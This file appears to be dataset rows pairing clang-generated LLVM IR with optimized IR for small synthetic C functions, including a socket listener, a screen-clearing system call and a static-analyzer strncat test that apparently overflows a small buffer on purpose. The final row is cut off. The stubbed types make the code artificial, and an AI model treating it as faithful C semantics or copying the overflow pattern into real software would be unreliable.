llvm-ir stringlengths 479 303k | llvm-optimized-ir stringlengths 468 303k |
|---|---|
; ModuleID = '/tmp/tmpd71swn_0.c'
source_filename = "/tmp/tmpd71swn_0.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@stdin = dso_local global i32 0, align 4
@EOF = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @readRestOfLine() #0 {
%1 = alloca i32, align 4
br label %2
2: ; preds = %12, %0
%3 = load i32, ptr @stdin, align 4
%4 = call i32 @fgetc(i32 noundef %3)
store i32 %4, ptr %1, align 4
%5 = icmp ne i32 %4, 10
br i1 %5, label %6, label %10
6: ; preds = %2
%7 = load i32, ptr %1, align 4
%8 = load i32, ptr @EOF, align 4
%9 = icmp ne i32 %7, %8
br label %10
10: ; preds = %6, %2
%11 = phi i1 [ false, %2 ], [ %9, %6 ]
br i1 %11, label %12, label %13
12: ; preds = %10
br label %2, !llvm.loop !6
13: ; preds = %10
%14 = load i32, ptr @stdin, align 4
%15 = call i32 @clearerr(i32 noundef %14)
ret void
}
declare i32 @fgetc(i32 noundef) #1
declare i32 @clearerr(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpd71swn_0.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@stdin = dso_local global i32 0, align 4
@EOF = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @readRestOfLine() #0 {
%1 = alloca i32, align 4
br label %2
2: ; preds = %10, %0
%3 = load i32, ptr @stdin, align 4
%4 = call i32 @fgetc(i32 noundef %3)
store i32 %4, ptr %1, align 4
%5 = icmp ne i32 %4, 10
br i1 %5, label %6, label %10
6: ; preds = %2
%7 = load i32, ptr %1, align 4
%8 = load i32, ptr @EOF, align 4
%9 = icmp ne i32 %7, %8
br label %10
10: ; preds = %6, %2
%11 = phi i1 [ false, %2 ], [ %9, %6 ]
br i1 %11, label %2, label %12, !llvm.loop !6
12: ; preds = %10
%13 = load i32, ptr @stdin, align 4
%14 = call i32 @clearerr(i32 noundef %13)
ret void
}
declare i32 @fgetc(i32 noundef) #1
declare i32 @clearerr(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmp1gkxvfrb.c'
source_filename = "/tmp/tmp1gkxvfrb.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp1gkxvfrb.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp76flu19j.c'
source_filename = "/tmp/tmp76flu19j.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [7 x i8] c"error1\00", align 1
@.str.1 = private unnamed_addr constant [7 x i8] c"error2\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @t4() #0 {
%1 = call i32 @testerror(ptr noundef @.str)
%2 = call i32 @testerror(ptr noundef @.str.1)
ret void
}
declare i32 @testerror(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp76flu19j.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [7 x i8] c"error1\00", align 1
@.str.1 = private unnamed_addr constant [7 x i8] c"error2\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @t4() #0 {
%1 = call i32 @testerror(ptr noundef @.str)
%2 = call i32 @testerror(ptr noundef @.str.1)
ret void
}
declare i32 @testerror(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmptejui1tq.c'
source_filename = "/tmp/tmptejui1tq.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.sockaddr_un = type { i32, i32 }
@PF_UNIX = dso_local global i32 0, align 4
@SOCK_STREAM = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [35 x i8] c"can't create communication socket!\00", align 1
@AF_UNIX = dso_local global i32 0, align 4
@.str.1 = private unnamed_addr constant [27 x i8] c"can't bind local sockaddr!\00", align 1
@.str.2 = private unnamed_addr constant [36 x i8] c"can't listen client connect request\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @init_listen_server(ptr noundef %0) #0 {
%2 = alloca i32, align 4
%3 = alloca ptr, align 8
%4 = alloca i32, align 4
%5 = alloca %struct.sockaddr_un, align 4
%6 = alloca i32, align 4
store ptr %0, ptr %3, align 8
%7 = load i32, ptr @PF_UNIX, align 4
%8 = load i32, ptr @SOCK_STREAM, align 4
%9 = call i32 @socket(i32 noundef %7, i32 noundef %8, i32 noundef 0)
store i32 %9, ptr %4, align 4
%10 = load i32, ptr %4, align 4
%11 = icmp slt i32 %10, 0
br i1 %11, label %12, label %14
12: ; preds = %1
%13 = call i32 @perror(ptr noundef @.str)
store i32 -1, ptr %2, align 4
br label %46
14: ; preds = %1
%15 = load i32, ptr @AF_UNIX, align 4
%16 = getelementptr inbounds %struct.sockaddr_un, ptr %5, i32 0, i32 1
store i32 %15, ptr %16, align 4
%17 = getelementptr inbounds %struct.sockaddr_un, ptr %5, i32 0, i32 0
%18 = load i32, ptr %17, align 4
%19 = load ptr, ptr %3, align 8
%20 = call i32 @strncpy(i32 noundef %18, ptr noundef %19, i32 noundef 3)
%21 = load ptr, ptr %3, align 8
%22 = call i32 @unlink(ptr noundef %21)
%23 = load i32, ptr %4, align 4
%24 = call i32 @bind(i32 noundef %23, ptr noundef %5, i32 noundef 8)
store i32 %24, ptr %6, align 4
%25 = load i32, ptr %6, align 4
%26 = icmp eq i32 %25, -1
br i1 %26, label %27, label %33
27: ; preds = %14
%28 = call i32 @perror(ptr noundef @.str.1)
%29 = load i32, ptr %4, align 4
%30 = call i32 @close(i32 noundef %29)
%31 = load ptr, ptr %3, align 8
%32 = call i32 @unlink(ptr noundef %31)
store i32 -1, ptr %2, align 4
br label %46
33: ; preds = %14
%34 = load i32, ptr %4, align 4
%35 = call i32 @listen(i32 noundef %34, i32 noundef 1)
store i32 %35, ptr %6, align 4
%36 = load i32, ptr %6, align 4
%37 = icmp eq i32 %36, -1
br i1 %37, label %38, label %44
38: ; preds = %33
%39 = call i32 @perror(ptr noundef @.str.2)
%40 = load i32, ptr %4, align 4
%41 = call i32 @close(i32 noundef %40)
%42 = load ptr, ptr %3, align 8
%43 = call i32 @unlink(ptr noundef %42)
store i32 -1, ptr %2, align 4
br label %46
44: ; preds = %33
%45 = load i32, ptr %4, align 4
store i32 %45, ptr %2, align 4
br label %46
46: ; preds = %44, %38, %27, %12
%47 = load i32, ptr %2, align 4
ret i32 %47
}
declare i32 @socket(i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @perror(ptr noundef) #1
declare i32 @strncpy(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @unlink(ptr noundef) #1
declare i32 @bind(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @close(i32 noundef) #1
declare i32 @listen(i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmptejui1tq.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.sockaddr_un = type { i32, i32 }
@PF_UNIX = dso_local global i32 0, align 4
@SOCK_STREAM = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [35 x i8] c"can't create communication socket!\00", align 1
@AF_UNIX = dso_local global i32 0, align 4
@.str.1 = private unnamed_addr constant [27 x i8] c"can't bind local sockaddr!\00", align 1
@.str.2 = private unnamed_addr constant [36 x i8] c"can't listen client connect request\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @init_listen_server(ptr noundef %0) #0 {
%2 = alloca i32, align 4
%3 = alloca ptr, align 8
%4 = alloca i32, align 4
%5 = alloca %struct.sockaddr_un, align 4
%6 = alloca i32, align 4
store ptr %0, ptr %3, align 8
%7 = load i32, ptr @PF_UNIX, align 4
%8 = load i32, ptr @SOCK_STREAM, align 4
%9 = call i32 @socket(i32 noundef %7, i32 noundef %8, i32 noundef 0)
store i32 %9, ptr %4, align 4
%10 = load i32, ptr %4, align 4
%11 = icmp slt i32 %10, 0
br i1 %11, label %12, label %14
12: ; preds = %1
%13 = call i32 @perror(ptr noundef @.str)
store i32 -1, ptr %2, align 4
br label %46
14: ; preds = %1
%15 = load i32, ptr @AF_UNIX, align 4
%16 = getelementptr inbounds %struct.sockaddr_un, ptr %5, i32 0, i32 1
store i32 %15, ptr %16, align 4
%17 = getelementptr inbounds %struct.sockaddr_un, ptr %5, i32 0, i32 0
%18 = load i32, ptr %17, align 4
%19 = load ptr, ptr %3, align 8
%20 = call i32 @strncpy(i32 noundef %18, ptr noundef %19, i32 noundef 3)
%21 = load ptr, ptr %3, align 8
%22 = call i32 @unlink(ptr noundef %21)
%23 = load i32, ptr %4, align 4
%24 = call i32 @bind(i32 noundef %23, ptr noundef %5, i32 noundef 8)
store i32 %24, ptr %6, align 4
%25 = load i32, ptr %6, align 4
%26 = icmp eq i32 %25, -1
br i1 %26, label %27, label %33
27: ; preds = %14
%28 = call i32 @perror(ptr noundef @.str.1)
%29 = load i32, ptr %4, align 4
%30 = call i32 @close(i32 noundef %29)
%31 = load ptr, ptr %3, align 8
%32 = call i32 @unlink(ptr noundef %31)
store i32 -1, ptr %2, align 4
br label %46
33: ; preds = %14
%34 = load i32, ptr %4, align 4
%35 = call i32 @listen(i32 noundef %34, i32 noundef 1)
store i32 %35, ptr %6, align 4
%36 = load i32, ptr %6, align 4
%37 = icmp eq i32 %36, -1
br i1 %37, label %38, label %44
38: ; preds = %33
%39 = call i32 @perror(ptr noundef @.str.2)
%40 = load i32, ptr %4, align 4
%41 = call i32 @close(i32 noundef %40)
%42 = load ptr, ptr %3, align 8
%43 = call i32 @unlink(ptr noundef %42)
store i32 -1, ptr %2, align 4
br label %46
44: ; preds = %33
%45 = load i32, ptr %4, align 4
store i32 %45, ptr %2, align 4
br label %46
46: ; preds = %44, %38, %27, %12
%47 = load i32, ptr %2, align 4
ret i32 %47
}
declare i32 @socket(i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @perror(ptr noundef) #1
declare i32 @strncpy(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @unlink(ptr noundef) #1
declare i32 @bind(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @close(i32 noundef) #1
declare i32 @listen(i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpjf_8iqou.c'
source_filename = "/tmp/tmpjf_8iqou.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [4 x i8] c"cls\00", align 1
@.str.1 = private unnamed_addr constant [13 x i8] c"function 4 \0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @fun4() #0 {
%1 = call i32 @system(ptr noundef @.str)
%2 = call i32 @printf(ptr noundef @.str.1)
%3 = call i32 (...) @_getch()
ret void
}
declare i32 @system(ptr noundef) #1
declare i32 @printf(ptr noundef) #1
declare i32 @_getch(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpjf_8iqou.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [4 x i8] c"cls\00", align 1
@.str.1 = private unnamed_addr constant [13 x i8] c"function 4 \0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @fun4() #0 {
%1 = call i32 @system(ptr noundef @.str)
%2 = call i32 @printf(ptr noundef @.str.1)
%3 = call i32 (...) @_getch()
ret void
}
declare i32 @system(ptr noundef) #1
declare i32 @printf(ptr noundef) #1
declare i32 @_getch(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpw8i1dprv.c'
source_filename = "/tmp/tmpw8i1dprv.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@__const.strncat_unknown_src_length.dst = private unnamed_addr constant [8 x i8] c"1234\00\00\00\00", align 1
@__const.strncat_unknown_src_length.dst2 = private unnamed_addr constant [8 x i8] c"1234\00\00\00\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @strncat_unknown_src_length(ptr noundef %0, i32 noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca i32, align 4
%5 = alloca [8 x i8], align 1
%6 = alloca [8 x i8], align 1
store ptr %0, ptr %3, align 8
store i32 %1, ptr %4, align 4
call void @llvm.memcpy.p0.p0.i64(ptr align 1 %5, ptr align 1 @__const.strncat_unknown_src_length.dst, i64 8, i1 false)
%7 = getelementptr inbounds [8 x i8], ptr %5, i64 0, i64 0
%8 = load ptr, ptr %3, align 8
%9 = load i32, ptr %4, align 4
%10 = sext i32 %9 to i64
%11 = getelementptr inbounds i8, ptr %8, i64 %10
%12 = call i32 @strncat(ptr noundef %7, ptr noundef %11, i32 noundef 3)
%13 = getelementptr inbounds [8 x i8], ptr %5, i64 0, i64 0
%14 = call i32 @strlen(ptr noundef %13)
%15 = icmp sge i32 %14, 4
%16 = zext i1 %15 to i32
%17 = call i32 @clang_analyzer_eval(i32 noundef %16)
call void @llvm.memcpy.p0.p0.i64(ptr align 1 %6, ptr align 1 @__const.strncat_unknown_src_length.dst2, i64 8, i1 false)
%18 = getelementptr inbounds [8 x i8], ptr %6, i64 0, i64 0
%19 = load ptr, ptr %3, align 8
%20 = load i32, ptr %4, align 4
%21 = sext i32 %20 to i64
%22 = getelementptr inbounds i8, ptr %19, i64 %21
%23 = call i32 @strncat(ptr noundef %18, ptr noundef %22, i32 noundef 4)
ret void
}
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: readwrite)
declare void @llvm.memcpy.p0.p0.i64(ptr noalias nocapture writeonly, ptr noalias nocapture readonly, i64, i1 immarg) #1
declare i32 @strncat(ptr noundef, ptr noundef, i32 noundef) #2
declare i32 @clang_analyzer_eval(i32 noundef) #2
declare i32 @strlen(ptr noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpw8i1dprv.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@__const.strncat_unknown_src_length.dst = private unnamed_addr constant [8 x i8] c"1234\00\00\00\00", align 1
@__const.strncat_unknown_src_length.dst2 = private unnamed_addr constant [8 x i8] c"1234\00\00\00\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @strncat_unknown_src_length(ptr noundef %0, i32 noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca i32, align 4
%5 = alloca [8 x i8], align 1
%6 = alloca [8 x i8], align 1
store ptr %0, ptr %3, align 8
store i32 %1, ptr %4, align 4
call void @llvm.memcpy.p0.p0.i64(ptr align 1 %5, ptr align 1 @__const.strncat_unknown_src_length.dst, i64 8, i1 false)
%7 = getelementptr inbounds [8 x i8], ptr %5, i64 0, i64 0
%8 = load ptr, ptr %3, align 8
%9 = load i32, ptr %4, align 4
%10 = sext i32 %9 to i64
%11 = getelementptr inbounds i8, ptr %8, i64 %10
%12 = call i32 @strncat(ptr noundef %7, ptr noundef %11, i32 noundef 3)
%13 = getelementptr inbounds [8 x i8], ptr %5, i64 0, i64 0
%14 = call i32 @strlen(ptr noundef %13)
%15 = icmp sge i32 %14, 4
%16 = zext i1 %15 to i32
%17 = call i32 @clang_analyzer_eval(i32 noundef %16)
call void @llvm.memcpy.p0.p0.i64(ptr align 1 %6, ptr align 1 @__const.strncat_unknown_src_length.dst2, i64 8, i1 false)
%18 = getelementptr inbounds [8 x i8], ptr %6, i64 0, i64 0
%19 = load ptr, ptr %3, align 8
%20 = load i32, ptr %4, align 4
%21 = sext i32 %20 to i64
%22 = getelementptr inbounds i8, ptr %19, i64 %21
%23 = call i32 @strncat(ptr noundef %18, ptr noundef %22, i32 noundef 4)
ret void
}
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: readwrite)
declare void @llvm.memcpy.p0.p0.i64(ptr noalias nocapture writeonly, ptr noalias nocapture readonly, i64, i1 immarg) #1
declare i32 @strncat(ptr noundef, ptr noundef, i32 noundef) #2
declare i32 @clang_analyzer_eval(i32 noundef) #2
declare i32 @strlen(ptr noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpl7r47doy.c'
source_filename = "/tmp/tmpl7r47doy.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [8 x i8] c"setByte\00", align 1
@.str.1 = private unnamed_addr constant [9 x i8] c"setShort\00", align 1
@.str.2 = private unnamed_addr constant [7 x i8] c"setInt\00", align 1
@.str.3 = private unnamed_addr constant [8 x i8] c"setLong\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @getSetter(i32 noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca i32, align 4
store i32 %0, ptr %3, align 4
%4 = load i32, ptr %3, align 4
switch i32 %4, label %9 [
i32 1, label %5
i32 2, label %6
i32 4, label %7
i32 8, label %8
]
5: ; preds = %1
store ptr @.str, ptr %2, align 8
br label %11
6: ; preds = %1
store ptr @.str.1, ptr %2, align 8
br label %11
7: ; preds = %1
store ptr @.str.2, ptr %2, align 8
br label %11
8: ; preds = %1
store ptr @.str.3, ptr %2, align 8
br label %11
9: ; preds = %1
%10 = call i32 @exit(i32 noundef 1) #2
unreachable
11: ; preds = %8, %7, %6, %5
%12 = load ptr, ptr %2, align 8
ret ptr %12
}
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpl7r47doy.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [8 x i8] c"setByte\00", align 1
@.str.1 = private unnamed_addr constant [9 x i8] c"setShort\00", align 1
